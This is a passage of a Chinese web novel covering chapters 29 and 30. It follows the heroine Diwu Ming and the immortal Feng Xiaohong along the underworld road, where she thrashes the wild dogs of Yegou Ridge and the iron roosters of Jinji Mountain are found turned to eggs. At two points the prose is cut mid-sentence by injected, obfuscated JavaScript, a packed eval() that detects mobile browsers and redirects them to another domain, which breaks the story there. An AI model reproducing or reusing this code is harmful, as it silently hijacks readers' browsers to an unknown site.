埭骰伸出手,道:“小明,你没事吧?摔得厉害吗?怎么小鬼们一拥而下?也不怕伤着…” 痛。 怎么话这么多!话痨鬼转世吗!没看见我疼得起不来吗!就伸手,也不知道直接抱我起来!!没看出来,我根本动不了吗!!! 正郁闷着,第五茗面前的手,被另一只手拉走,那人道:“埭骰,不对,只有蒲小明下来了,酆小洪呢!!人呢!!!” 这一问,把埭骰吓得不轻,甚至忘了地上第五茗。 埭骰急忙道:“不会还在上面吧?” 埭桡满面愁容,道:“不知道,水台上这么多人魂,先寻一寻!他若是丢了,你我兄弟二人吃不了兜着走啊!!” 埭骰埭桡四处张望,望着望着,两人脚下也动了,慢慢在水台上遍地搜寻。 第五茗想要跟他们说,不用担心,但有血有魂,就相当于一个活人,她从那么高的地方摔下来,她现在几乎是散架的状态,嘴还脱臼了,声音就更是弱不可闻,道:“埭…骰大哥,埭桡…大哥,看看我…看看…我,帮我掏…掏一下…” 新生水。 29. 阴间鬼魂必走路1 或者来一个认识的勾魂使者也行… 我需要新生水。 忽然,第五茗身体拦腰翻转,落进了一个温暖的怀里。 热的? 这鬼是热的… 头转过来,她才看清,是酆小洪。 来人捏上她下颌,‘喀嚓’!帮她正骨。 她的嘴终于可以自由活动了,还能闭上了。 第五茗喜极而泣,艰难地道:“新…新生…疼…” 酆小洪眉头紧蹙,道:“我知道。” 帮第五茗正回骨,他手落下后,就在第五茗胸前停留不前,须臾,才凝了法力,从她胸前衣襟掏出新生水,将瓶内剩余的,全部灌进了第五茗嘴里。 第五茗恢复力气,转动手腕脚腕,揶揄对方,道:“还说不忙,招呼都不打一声就走了。” 随着嘴里一点一点地吞咽新生水,她身上开始咯咯作响,骨头、魂魄、血液…慢慢重新黏缝在一起。可摔得太重了,她一时没能力马上站起来,挣扎一番,索性就那么半躺在酆小洪怀里,听他淡淡地答道:“不忙的。” 酆小洪说完,双手也不停,隐了装新生水的玉瓶,调出法力帮第五茗恢复,不仅如此,嘴上还自责道:“对不起,若不是我留上君独自在这里,上君也不会遭如此揉搓。” 呃… 这怎么说呢,纯粹是她自己没事找事,造下的因,结下的果。 不应该怪到酆小洪头上。 要说真应该道歉的,就是那些一起摔下来的人魂。 第五茗现在可懊悔在廊梯上吼那一嗓子了。 言归正传,她摔下楼是小事,郤人杰飞升可是大事,疑惑道:“这么快就回来了?处理好了?” 酆小洪道:“嗯。” 太快了吧! 一脸不相信,但又不能不相信,第五茗心中嘀咕道:这仙君能力这么高?半个时辰都没有,就能帮一个快死的人飞升? 难怪泰山上派下来的人是他… 远处,埭骰埭桡忙不择路,拉住小鬼,就要看对方的脸,第五茗在酆小洪的参扶下站了起来,刚好瞧见鬼影中这一幕,摇头叹息道:“糊涂吗?忘记我们穿的红衣了?” 身旁只有酆小洪,所以只有他听见了,但他没听明白第五茗这话什么意思,疑惑不解,错愕万般地低头查看身上的红色衣衫,呢喃道:“我没忘。” 想了想,他气息弱弱地道:“在望乡台上没寻到上君,便来了水台,刚到…一眼就寻到了,红衣。” 咳咳咳… 第五茗羞赧,脸色青白中透着点红,抬手一指望乡台立柱,道:“我说的是他们,埭骰埭桡去找你了,阳间他们就出了错,勾错了魂,我下了望乡台,他们没找到你,快担心死了。” 酆小洪顺手看去,只一眼,视线又被第五茗轻呼疼痛的声音吸引了回来,他转而抿唇道:“不会死。” 第五茗一怔,回头,拧眉,疑惑道:“嗯?” 酆小洪脱口而出,道:“他们是小鬼,不会猝死。” 这段话莫名其妙,第五茗完完全全地呆住了,好一会儿,扯起嘴角,‘哈…哈哈…哈…’几声,才试探性地询问道:“仙君在讲笑话?” 一脸的不敢确信… 不知是冥界地府不见日光,还是望乡台万千烛火不够明亮,酆小洪居然看不出第五茗的窘迫,反问道:“不像吗?” 吞咽尽嘴里的口水,第五茗清理喉咙,顿蹙一瞬,舒气,放心大胆地笑道:“哈哈哈…像,只是没想到仙君也会讲笑话,哈哈哈哈…真好笑…啊…” 两手双双捂上小腹,半弯腰身,宛若第二个‘雨无伤’。 装模作样… 滑稽又虚假。 可旁人好似眼瞎,等的就是这结果。 酆小洪扶住第五茗,跟着她哈哈大笑的声音,展露笑容道:“嗯,会一些,不多,以后可以再多学一些。上君,身上可还痛?心里可还会想着身上的痛?” 直起身来,第五茗收了笑容,摆摆手,拂掉酆小洪的小臂,挽礼道:“不痛了,多谢仙君施手相帮。” 想了想,这一路还有点距离,若是酆小洪再来这一出,她不是还得配合。 心中摇头,她终是不能总做第二个‘雨无伤’,劝道:“仙君好像…不太适合讲笑话。” 怕话说得太过了,她觉得应该先迂回地肯定一下对方,免得伤了仙者的自尊心,祸及鱼池,牵连自己,笑道:“刚才…还是好笑的,就是…” “就是…” 一鼓做气,她指正道:“就是让人听着很别捏。” 酆小洪虚心接受,未反驳。 他疑惑道:“别扭吗?刚刚同别人学的,他讲了一则笑话,另一人连毁身灭魂的痛都忘了。应当是我不常讲,多讲一点,以后应该就不会了,那人说…玩笑话,最好止疼,也最容易让人忘记疼痛。” 第五茗睁大了眼,附和道:“止疼?这是为了转移别人注意力吧?” 所以,刚刚酆小洪是不想让她注意力在疼痛上? 所以,不好笑的笑话,是为她现场编纂的? 想了好一阵,才明白了酆小洪的一番好意,她歉疚地拍着身体,抬手展示,道:“仙君别说,还挺好用的,我现在脑子里全是你刚刚讲的笑话… 哈哈哈…又小声笑了一阵,她总结道:“多一技能傍身也是好事,还可以缓和气氛,其实…也算是一种能力了。这技能好啊…真的好…” 若是善用的人来用,就更好了… 他们二人没头没脑,你一言我一语时,埭骰埭桡终于回身,在来来往往的鬼影中,看见了那两身不同寻常的红衣小鬼。 埭骰埭桡顿时面色静了下来,两人你拉我,我扯你,嘴里嘀嘀咕咕,脚下未做耽搁,朝第五茗二人的方向走来。 见状,酆小洪受了夸赞,也不好再攀谈更多,捡着重要的事,暗示道:“上君,不问吗?” 第五茗也看见了对面走过来的二人,她挥手招呼,嘴上笑着反问身旁人,道:“问什么?郤人杰吗?” 埭骰埭桡不过十米距离,酆小洪压低声音,应道:“嗯,不问吗?” 第五茗道:“仙君不是去了吗?” 酆小洪声音更小道:“嗯。” 声音越来越轻,第五茗知道他不想让别人听见,也知道郤人杰的事不能太过张扬,捂手低语道:“鬼魂都惯会心软,我知仙君扮鬼也不例外,何况…仙君此行,不就是为了郤人杰的事吗。仙君所行,身体无碍便可,点飞半鬼之人,可要费不少道行法力,幸好接下来还能再走一段好路。” 比起郤人杰,她更担心他。 明白此意,酆小洪心有动容,报平安道:“无碍,上君不必担心。” 埭骰埭桡二人已至面前,搭手揖礼,酆小洪闭了嘴,第五茗也默了声。 埭桡偷瞄了红衣二人一眼,委婉道:“叫我们好寻,二位不要再走散了,接下来的路坎坷,请务必跟紧一点。” 坎坷? 对于埭桡的恐吓之言,第五茗和酆小洪不打算揭穿,他们一路走来,的确遇到不少事,面上也就默认了埭桡的请求,安静地跟在一黑一白无常身后。 四人来到水台一侧,尾随其他幽魂和勾魂使者,走上了一条长长的道路。 最开始,大家因为刚从望乡台或是黄泉路走过来,所以一路有说有笑,相互讨论着‘地府’‘做鬼’之类的话,然后走着走着,就越走越安静,越走…小鬼越无言,最后,不论是幽魂还是勾魂使者,都没了言语。 他们是又渴又累。 恍一抬头,景色早已变了一幅,长道烛火消失,天上明月可见,换而之,还有无尽天边的薄曦晨光。 那边际,始终没有破晓而出一轮明日,让幽魂们看得见希望,却得不到希望。 慢慢的…他们脚下流动起浮云,起初他们当那是忘川河水的水泽,直到一群赶路魂中,一只小鬼的惊叹响彻前后,他们才意识到不对劲儿。 那小鬼道:“这是高山上的岭脊吗?” 第五茗走得无聊,搭话道:“对啊,姑娘是大山里来的吧。” 高而大的山脉,山顶顺脊脉有路可通行,谓之岭。 简单来说,他们在爬一群很高很高的山,而他们走的道路,也不是寻常的上山路,而是一路所过,最高的点。 那女鬼容貌简单,身材粗壮,嘴中气喘不歇,道:“是啊,我家在一座山崖上,能俯瞰下面的山岭,刚刚晃眼,竟瞧着脚下的路,有点像那日日欣赏的岭脊。” 因为脚下行的路看着更像是平路,那女鬼有些不解,于是又问道:“我们是在爬山吗?” 第五茗好心解答道:“也不算山,这是一整条山脉,世称「野狗岭」,因为岭脊太长,和望乡台的交界线又不清不楚,所以不到云散,就看不出是在向上而行。姑娘倒是好眼色,一般人都要待远处晨光变得透亮,云雾也散去了,才能看出来。” 后面夸赞之语,那女鬼是一字也没听进去,她惊愕失色,跳脚道:“你说什么!有野狗!!” 路上一壮汉男鬼,凑近,大喘气道:“难怪!我说呢,这一段路怎么那么无聊,原是走得太累,大家默不作声,是在蓄力登高。” 那害怕野狗的女鬼,因他上前,吓了一大跳,瑟缩地抱怨道:“你还觉得无聊?也不看看这都到什么地方了。” 女鬼害怕野狗,路上大家又各走各的,她四处张望后,脚下大步挪动,贴到了她的勾魂使者身边。 她的突然靠近,把她的勾魂使者也吓了一大跳。 那勾魂使者挺不淡定的,张皇四顾,双手紧捂口鼻,白了女鬼一眼,倒没有抱怨,拖着女鬼就继续赶路了。 望着鬼差拖鬼的背影,第五茗安慰道:“哎呀,姑娘稍安勿躁,我觉得这位老兄说得挺对的,无聊不分身份…再说了,这一去,又是做人,反而是做鬼攀谈的机会更少一些嘛,何不且行且珍惜?” 那两抹背影脚下生风,哪还能听见第五茗的后话。 到让那壮汉男鬼全部听了去,他凑得更近了,点头赞同道:“还是这位姑娘说得对,闷着走,还不知道走到啥时候呢,讲讲话,指不定就到了。在我们村,村里人一起行山路,就是这么走的,眨眼功夫就到了,一点儿都不会觉得累。” 他嘴里嘀嘀咕咕,郁闷道:“要不是我的无常官大爷闷得很…哎…” 眼睛却瞅见第五茗身上飞舞的红裙,壮汉男鬼有些同情地多看了她几眼,又探头看了一眼她身侧另一旁的酆小洪,替他们惋惜道:“哎…世道不好,命数不由人啊,你们二人死在大婚上,也是怪可怜的。” 第五茗无奈,心想:这老兄怎么回事,先前还挺正常的,怎么关注点又到这衣服上了… 她扶额苦笑,不想再去解释大红婚服的来历,“嗯嗯”两声,抓着其他话题道:“老兄看着挺壮硕的,这是遇到什么事下来的?连伤口都没有一个?” 那壮汉也苦笑了一番,却不似第五茗那样没耐心,叹了一口气,道:“我死得有些可笑,前几日,在城隍庙为我家老母求了平安,准备从渡口坐船回家,正穿过渡口前那片林子,哪曾想天突然黑了,又被林子里的响动惊吓到了,脚下踩了石头,不小心一头就扎进了牛粪里,闷了过去,再醒来,无常官大爷已经把我拉了起来,我就看见自己躺在粪坑里了。哎…那么大一条路,也不知道是怎么走的,跟眼瞎了一样,居然能栽进那堆牛粪里,还栽得那么深…以前走山间小路也没见淹牛粪里…奇了怪了。” 故事有些味道,第五茗鼻头耸耸,道:“老兄脸上挺干净的哈…也不像是那样没的,许是你看错了…” 那壮汉认真道:“小姑娘,这你就不清楚了,是无常官大爷心好,拉着我在土地庙里,用了半桶雪水洗干净了身子,不然,这一路上大家都得避着我走呢,我是个村汉子,自己都闻不惯那味。” 第五茗瞅了一眼为壮汉引路的无常,那无常闻言并没有反驳,想来的确是如壮汉所说在土地庙为壮汉清理了身体。 第五茗附和道:“那倒是,那倒是…老兄瞧着干干净净的,一点也不臭,一点也不讨人嫌,是你的这位无常官大爷心好。” 不是他自己闻不惯… 也不是他怕嫌弃… 都是为了你。 都是心好,为了你… 那壮汉抬起衣袖,猛嗅两口,大笑道:“是吧,我也这样觉得,那无常官大爷除了闷了点,人还是怪好的。” 两人声音不大,正好,前前后后传到了十几只小鬼耳朵里,队伍以第五茗和那壮汉鬼为中心,开始向前后蔓延,热闹地聊了起来。 “老兄运气好,我这位白无常,可是给了我一棍子,我背上到现在还火辣辣的疼。”“为啥?”“我想着不起来,是不是就不会死了。”“那你这…该挨啊…” “你那来的?”“临安郡…”“哦…又一个淹死的。”“…” “怎么死的,脖子上还缝了线…瞧着真难看…”“江洋大盗,斩首,义庄收尸人缝的。难看吗!”“这…这针线…好看的啊…好看…” “你累吗?”“累”“你怕狗吗?”“怕”“你想喝水吗?”“想”“你还走得动吗?”“嗯”“你能别只回答一个字吗?”“能”“你…算了。”“好” “嗡嗡,嗡嗡嗡嗡?”“吱吱吱。”“嗡嗡!”“吱吱!!” “咯咯咯咯咯咯,咯咯!”“啾啾?”“咯…咯咯咯,哒!!”“啾!!啾啾!!!啾~” … 小鬼各聊各的,一旁的勾魂使者紧闭双唇,恨不得把这群小鬼打晕拖走。 但他们不能这么做,只能蔑了一眼肇事者——第五茗,神色不明地注意着四周,警惕的大步向前,手中更是挥舞地催促着幽魂们赶路。 问! 为什么勾魂使者不答话呢? 一路那么多鬼差…他们就走得不无聊? 或者,他们累得没力气了? 不。 他们也无聊,虽没有小鬼那么累,但他们更想早点离开这里。 因为,他们和那女鬼一样,怕的是这里的野狗。 野狗岭有个鬼神众知的秘密,那就是谁在这里惊扰了野狗岭的野狗,那野狗就逮着谁咬。 这狗呢,没有狗样,鼻子不灵,耳朵倒聪慧得紧,躲在红色层岩间刨出的洞内,伺机而动。谁在路上发出点声音,它就追着谁咬。 怕什么来什么!! 突然,狗吠声一阵,惊呼出数句,“吓死鬼了!”其中不少还是勾魂使者。 脚下薄雾在慢慢散去,岭脊上的石阶漏了出来,石阶两旁的红色层岩大山洞里,探出了一个个黑黑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547207|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋,两只眼睛锁定住刚刚吵扰到它们的幽魂。 一早惊呼出声的勾魂使者,惨叫道:“野狗!!野狗要出洞了!!!” 小鬼们瑟瑟发抖,脚下犹豫不前。 第五茗却兴奋之至,在这队伍中显得格外不合群,她安慰道:“别怕,别怕。这些小狗没什么好怕的…” 埭骰咬牙鼓起勇气,靠近第五茗,道:“小明,你就消停消停,别再惹事了,这野狗岭的野狗,不是寻常野狗,能把魂魄咬的支离破碎。” 第五茗笑道:“哦…” 却是一脸的毫不在意,她眼睛不停地数着出洞野狗露头的数量。 一个空着的山洞,倏地钻出一只狗头,两只眼睛幽深,锁定住了埭骰。 埭桡皱眉,一把将埭骰拉了过去,面颊扭曲,手指在埭骰面前不停地挥动,“数落”,最后比划在嘴前,做出一个禁声手势。 埭骰握住了埭桡的手,摇头叹息道:“埭桡,我已经讲话了,野狗也已经出洞了,没用了。” 认命般,拍了拍埭桡的肩膀,安抚好对方后,他又回到第五茗身边,继续道:“小明,你待会儿躲着点,被野狗撕咬,会很痛的。” 第五茗点头道:“我知道,你照顾好自己,不用担心我。” 她转头对身边上了野狗岭后,一直没讲话的酆小洪道:“你刚刚是不是还没讲过话?” 埭骰伸出双手,手掌向前,正要捂上酆小洪的嘴,结果酆小洪侧身微趔,躲开了,蹙眉盯着埭骰,没有急着责备埭骰,先紧着第五茗的问题,回答道:“还没有。” 埭骰叹息道:“现在说了…又多了一个…” 见状,一旁的埭桡也叹了一口气,一副‘要死也要死一起’的模样,特意对酆小洪展露。 他后怕道:“前几日,天上送来了一位桃园仙女,好像因为误洒仙酒,特此入人道历一场和酒有关的劫难。桃园仙女入鬼门关这一路,还有法力在身,听说其他地方都走得坦然,唯独这野狗岭,桃园仙女居然被吓破了胆,衣裙也被撕咬碎了,我们到时候…只怕…只怕…” 他们说着,一路过无常,积极道:“老兄先别怕,这事我知道,我知道…” 埭骰指着对方的嘴,道:“你…讲话了。” 一洞口,又出现一狗头,那无常刚抬起捂嘴的双手,无奈地放了下来,道:“哎,刚做这一行,走这里总是忘记。没事没事…被咬两口而已,水雾退下后,待会儿跑快点就行,能少被咬两口。” 想起刚刚打算说的话,手上牵住押送的小孩鬼,继续道:“方才你们说的桃园仙子,我知道的。她是天上侍酒的世九天君,她不是误洒仙酒,是她给另一位天君分酒的时候,被那取酒的天君害的,世九天君可委屈了。” 埭骰八卦道:“你怎么知道?” 那无常笑容满面道:“我送的第二只鬼…不对不对,是我相送的第二位,便是世九天君,野狗岭之行,她被吓晕了,我扛着她跑出去的,她感动之至,才在醒来后和我抱怨了这些。” 第五茗手上数着露头的狗洞数,嘴上吐槽道:“天帝厉害了,这点小事也要罚别人下去。” 第五茗的小动作和兴奋劲儿,酆小洪都看在眼里,他凑近第五茗耳旁,小声笑道:“上君,引狗出洞…数目可够了?” 被他一语道破所做之事,第五茗先是一怔,随后释然,摇头道:“还差点,这才到三分之二。” 酆小洪道:“我帮你?” 看着周围一群幽魂和勾魂使者,没出声的,都小心翼翼的捂着嘴,低着头,视线躲避,朝前行进,第五茗犹豫了一番,点点头,又摇摇头道:“不用,剩下三分之一我有办法引出洞,还请仙君不要插手,这是私仇!” 酆小洪点头道:“哦…好,上君打狗时,别伤了自己就行。” 原来,第五茗在先前历劫中,因为每次从地狱道和饿鬼道出来都半死不活,无力还手,走到这里,嘴里呻吟一两句,总会被野狗逮着撕扯欺负,入了畜生道,本以为可以报仇,奈何投生为动物后,会天生地恐惧于领者的施威,每每走这里,还是只有被欺负的份。 这次,好不容易做了一回人,打埭骰埭桡勾起她魂魄的瞬间,她就在计划如何在野狗岭引诱出所有的野狗,将他们全部暴打一顿。 狠狠出一口恶气! 薄雾就快完全退却,丹霞山岩清晰可见,岭脊上的这条路,即将没有障眼的东西,山洞中的野狗,低声呜咽,有些甚至开始吠叫不停,就等着冲出洞口,将锁定的小鬼,撕咬成碎。 第五茗举起双手,大挥,喊道:“谁的银子丢了?” 道上的幽魂和勾魂使者,先是一促,停下赶路的脚步,接着习惯性地异口同声,回应道:“我的”,“我的我的”,“是我的!” 争执声此起彼伏,他们还没回过神,两边已应声而现许多东西,没有狗头的洞口,瞬间布满野狗,和猛然钻入狗洞内,一骑绝尘的烟雾。 薄曦水雾还差一点消散,第五茗先一步挨个挨个地冲进了洞中,接着,狗头消失,红岩石洞深处传来呜咽声,和一句又一句的泄愤大吼。 “叫你咬我!你再咬试试!!” 又一洞内,“揍死你!上上次我就告诉你们了,我不是好欺负的!!不信?” 一圈砸肉泥的闷声后,“信了?” 某处开始冒烟的洞口,传出声音道:“你当修炼,不修拳脚吗!!!让你们嚣张!!” “痛吗?你也知道痛!!再叫?” “你们好好养着,我下世还做人!!到时候又来找你们玩啊。” … 乒乒乓乓,左右洞口相继尘烟弥漫,薄雾彻底退下,洞口法禁消失,却没有一只野狗出洞,而是第五茗从其中一个洞口,拍着身上的狗毛,俯身而出。 她道:“各位不用害怕,该聊聊,该谈谈,不然这一路多无趣。” 对先前那壮汉鬼,她鼓励道:“可以放心大胆的说了,你的无常官大爷做了好事,你不帮忙宣传宣传?” 又指向先前聊天时,想继续活着那一只鬼,她提醒道:“趁着现在多讲讲话,过了奈何桥,喝了孟婆汤,你别说懒活着,你就是想做此生鬼也很难的。” 路过脖子上缝线的鬼时,她侧移了一段路,对与这位鬼搭话的那小鬼,好言相劝道:“活着杀人,死了也可以杀鬼的,好自珍重,不要乱搭讪。” 第五茗打狗的举动,着实太震撼鬼心,哪怕她主动缓和气氛,其他幽魂和勾魂使者仍旧一言不发,眼睛追逐着她的身影移动。 被看得有些毛骨悚然,野狗岭上又除了野狗低呜声,再没有其他声音,让第五茗越发觉得浑身不舒坦。 比狗咬还难受…她扯住衣服大袖,闭眼大吼道:“我叫你们继续聊起来!看什么呢!!!没见过鬼打狗吗!!!!是不是不想好好过野狗岭了…” 你看看我,我看看你,喧哗声再起。 这一次,除了幽魂小鬼,勾魂使者也加入了聊天队伍中。 第五茗十分满意,睁眼含笑,转回身,寻找自己的队伍,她没寻到埭骰埭桡的黑白袍子,倒是一眼在鬼影中看见了酆小洪的红衣。 她第一次觉得,这颜色也不是那么碍眼了,站在原地,冲酆小洪等人招手,等他们走上前,才道:“走吧,金鸡山还有一堆东西要收拾呢。” 30. 阴间鬼魂必走路2 埭骰还在吃惊中,木木地赞叹道:“小明…你…好厉害啊。” 埭桡暗暗掐了埭骰一手,在埭骰耳畔小声嘀咕道:“你这记性是狗吃了吗!他们什么人你忘了。” 退回来,他面上却和埭骰一样,朝第五茗恭维道:“厉害厉害,身手真厉害,完全是一位大侠啊!” 第五茗拱手道:“承让了,以前我也是一个练家子,只是碍于魂身不稳,这不有了路引,又在地下,才有机会一展拳脚。” 酆小洪没有恭维,关心道:“累吗?身体可还好?可有被狗伤到?” 摩拳擦掌,第五茗眼神恶狠狠,看着那些没有野狗露头的洞口,满意道:“累是累了点,但身体好着呢,还能去金鸡山杀铁公鸡!” 从野狗岭下来,众人到达金鸡山时,却发现此地一反常态,安静的出奇。 竟是未有一只铁公鸡出现!! 在那一重又一重,无数座可望见山顶,由稻、黍、稷、麦、菽分别堆积而成的十丈高山上,没有一只铁公鸡在上面巡走。 幽魂和勾魂使者从这里经过,一直是绕山脚的路穿行,往日里,金鸡山的铁公鸡看见了,就会从山上飞奔而下,逮着那些被野狗撕碎的魂魄,进行啃食。 铁公鸡生前也是鸡,它们活着的时候,若是因为贪嘴,啄食了鸡蛋,死后就会被罚来做金鸡山的铁公鸡,看守延绵不绝,看得见、摸得着、啃不动的五谷山。 实物就在眼前,吃不着,铁公鸡们像是发了疯,见到可以入口的东西就会去啄食。 小鬼的残肢,身形较小的兽魂,孩童小鬼,受伤的鬼差,堕落的仙者…没有它们不能吃的,只有它们咽不咽得下的。 第五茗疑惑道:“鸡呢?” 脚下一踢,一个铁蛋子被踢出老远,她吃痛道:“哎哟~谁这么缺德,怎么能在五谷山放石头…石?头?” 她蹲下身,伸手摸了摸,才看清,哪里是碍脚的‘石头’,分明是一颗又一颗圆滚滚的铁蛋。 第五茗嘿嘿笑道:“它们惹上哪位大人物了?怎么还有人先我一步来杀鸡了呢?” 埭桡也蹲了下来,推了推一颗铁蛋,满脸疑惑道:“这…是鸡蛋?” 第五茗道:“这点常识都没有?鸡的原形不是蛋是什么?” 侧头看向身边刚蹲下来的埭桡,第五茗忍不住白眼数翻。 常识是知道的,第一次听说被打回降生模样的,通常不应该都是幼崽形态吗… 埭桡挠挠头,脸色绯红,呢喃自语道:“好像是哈。” 唰唰…二人站了起来。 地上还有其他幽魂和勾魂使者,和他们一样因为好奇,蹲在地上仔细查看。 埭骰在二人身边,抬头望向前路,惊叹道:“以前漫山遍野的鸡,好像全变成蛋了。” 四人身后凑上来一无常,插缝站入,将第五茗挤向一旁,和酆小洪紧贴站在一起,他一副知情者模样,十分热情,满脸和煦道:“二位一看就是不怎么关注通冥牌内的消息。” 一见是同僚,埭桡说话客气了些,声音都也变得柔和,他道:“通冥牌内有说过这事?” 瘪嘴斜眼,那无常摇头晃脑,与埭骰埭桡勾肩搭背,道:“你们应该多关注关注通冥牌的,司仓太子知道吧?” 除了第五茗,他们兄弟二人还是第一次遇见这么自来熟的鬼,况且对方还是一鬼差。 在那无常的热络招呼下,埭骰点头道:“知道,南海龙太子,前几日,因调戏天界仙君,被罚下来渡劫。” 热情无常补充道:“准确来说,是渡情劫…和生死劫。” 听到此处,第五茗小声吐槽道:“这是赶集呢?一个二个的都上赶着去人界…想当年,风有情年轻气盛,贪玩好耍,误了一座城的人魂性命,天帝仅罚他渡了一个情劫,怎么现如今,只要仙君犯事,就要把人送到凡间走一遭。” “人帝倒是希望天上送仙君下去越多越好哦,可仔细想想,这不平白给冥界地府添乱嘛,风雨江才出了这档子事…简直是不安好心啊。” 无人敢应这话,她左右转动,朝无常三人那边往回挤了挤,唏嘘地扭动身子。 酆小洪一挑眉眼,脚下往空着的地方走了半步,小声道:“这边宽。” 第五茗挪一挪,又靠了回来站着。 酆小洪用肉眼丈量,第五茗离他一拳,离无常几人有三拳距离,心里满意,面上含笑,极其自然地接起第五茗吐槽的那句话,也点评了一句,道:“现在的形势,天帝应该巴不得送上一半的仙君从冥界走一遭。” 第五茗会晤,笑道:“哦?不就是从天界独立出来了嘛,这天君太小家子气了。” 酆小洪笑道:“没办法,他没有上君度量大。” 第五茗和酆小洪相视一眼,突然被夸,有些不好意思,嘴上却逞强道:“那倒是,也可是现任东岳大帝本事太大,天帝不得不忌惮。” 这方,那无常拦停自己押送的人魂后,继续对埭骰埭桡闲聊道:“被调戏的那仙君是少有的才女,娇贵着呢,听说她还是天庭斗部文曲星君天权收的第一位女学生,不对…好像是唯一一位女学生。那仙君一万年就飞了仙阶,做了星君,仙职嘛…据说是天下生灵最怕的九天采访使,专司赏善罚恶。司仓太子定罪以后,那仙君丝毫不给南海面子,一笔将司仓太子打回了原形。” 会不会夸张了些? 一个九天采访使敢欺负一方龙君? 她就不怕龙君报复? 就算有天权和九天采访司撑腰,胆子也太大了点… 埭骰感叹道:“那仙君这么厉害?” 热情无常道:“她厉不厉害我不知道,反正又不会来冥界地府,但通冥牌内是这样传的。” 埭桡以人之常情,评语道:“指不定是文曲星君先看上了这位女仙君,女仙君独自在天界,自是要保全名声。” 热情无常举起手指,比划噤声,悄声道:“老哥,你可小声点吧,这天帝最是无情,最不喜欢仙君们有私情,你当心为文曲星君招来口祸。” 埭桡半缩脖颈,张望道:“这里就我们几人,同僚不必担心。” 热情无常眼神朝第五茗和酆小洪闪了闪,又朝五谷山的道上指了指,暗示埭桡道:“路上有鬼,旁听有耳,老哥还是小心些,话不要乱说。” 状若无意,热情无常朝第五茗和酆小洪憨憨地笑了笑,挥舞着手,道:“哈哈哈,我倒不是说你们两只小鬼哈,别往心里去,就是为你们引魂这两位老哥看着挺实诚的,我作为过来人,难免嘴上一时话密,不自觉就多说了两句。” 这些编排上面仙君的玩笑话,第五茗以前经常和小鬼们一起讲。是以,方才热情无常和埭桡对于文曲星君和九天采访使的言论,她根本就没上心。 而酆小洪就更不用说,自打他神思归位,人好像就变得冷淡了,对很多事都不是很在意。 对于仙君能力,第五茗不予置评,但里面有一件事,她还是很好奇的,问道:“天权星君真收女弟子了?” 在她记忆里,文曲星君天权这人,性别男,爱好除了书和学问,那便是男才子…尤其是学士学子… 热情无常道:“你们这些凡人就只知道关心文曲星君,再说了,文曲星君凭什么就只能收男才子?人家女才子也很厉害的,一万年飞升星君,天上有多少仙君能行!” 其他人,第五茗不知道,但她自己,她很清楚,那仙阶其实也没多难飞升。 第五茗口不对心道:“不知道。” 她心里却又嘟囔着另一件事:那女仙君有多好我不知道,但我知道,天权星君每次下凡的命格簿子,情劫一栏必须是写空。天权若是真收了女弟子,开了情欲,那他就没办法断情绝欲,舍弃小爱,斩获大爱,心系天下苍生。 这可不是一件好事… 天帝和人帝要的是一个替天做权的人,不是芸芸众生里普普通通的众人。 热情无常朝弱了下去的第五茗,昂首道:“对吧,你不知道,就万事皆有可能,咱们在这里凑凑热闹,也替别人做不了决定,指不定就是女才子太有才华了,被文曲星君一眼相中带回仙府。话说回来,我们说的不是司仓太子的事吗?怎么被你们扯到文曲星君身上去了。” 越说越激动,热情无常还替那位素未谋面的九天采访使,在小鬼这里打抱不平。 埭骰埭桡闭嘴不语,明明他们兄弟二人什么也没说,是他自己说跑题了。 第五茗则看向酆小洪,见对方饶有兴致地听那无常讲话,咽下心中疑虑,继续听着。 热情无常回归正题道:“司仓太子受了重创,走泰山而过,想恢复人形,没曾想,泰山仙君听闻他欺辱的是九天采访使,纷纷二话不说地装睁眼瞎,装作无计可施,可把司仓太子气坏了,他无可奈何,连东岳帝君的面都没见着,就跟随鬼差入了鬼门关。” 九天采访使? 泰山东岳帝君? 原来是这样! 埭骰像是突然想到什么,顿悟惊呼道:“这仙君还和咱们帝君相熟?” 那热情无常点点头道:“正解!听闻女仙君和帝君飞升前,曾一同在一处洞天福地修炼,是好友。” 想了想,他又补充了一句,道:“应该是过命的好友!不然开罪龙君这种事,谁会去做啊。” 接着,那无常继续说道:“司仓太子顶着真身上鬼道,过黄泉路,爬野狗岭,入金鸡山。前两程,都还算顺遂,可到了金鸡山,哎…这些铁公鸡啊,有些不长眼,以前也就一只鸡逮着一个过路的霍霍,可能它们当时眼瞎了吧,把司仓太子的真身当做了最喜欢吃的‘小虫’,竟在司仓太子入金鸡山后,都一窝蜂地争先恐后去啄食。” 话到此处,热情无常如说书先生一般,将声音收住,一脸挑逗地在围着的四人脸上来回扫过,顺带瞅了一眼自己收押的小鬼是否还在身旁。 小鬼还在,他放心大胆地慢慢等着四人的反应。 埭骰听得入迷,痴痴道:“后来呢?” 热情无常等的就是这一句话,他刚准备继续徐徐道来,却被埭桡拍在埭骰脑门上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547208|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一巴掌打断,口中的话也被第五茗抢了先。 第五茗哼笑道:“自然是铁公鸡斗不过真龙,变铁蛋了呗。” 同时,埭桡也骂了埭骰一句,道:“你傻吗!满道的蛋,你是眼瞎了!!” 说完,第五茗往身下又踢一脚,圆滚滚的铁蛋咕噜噜滚到了酆小洪脚边。 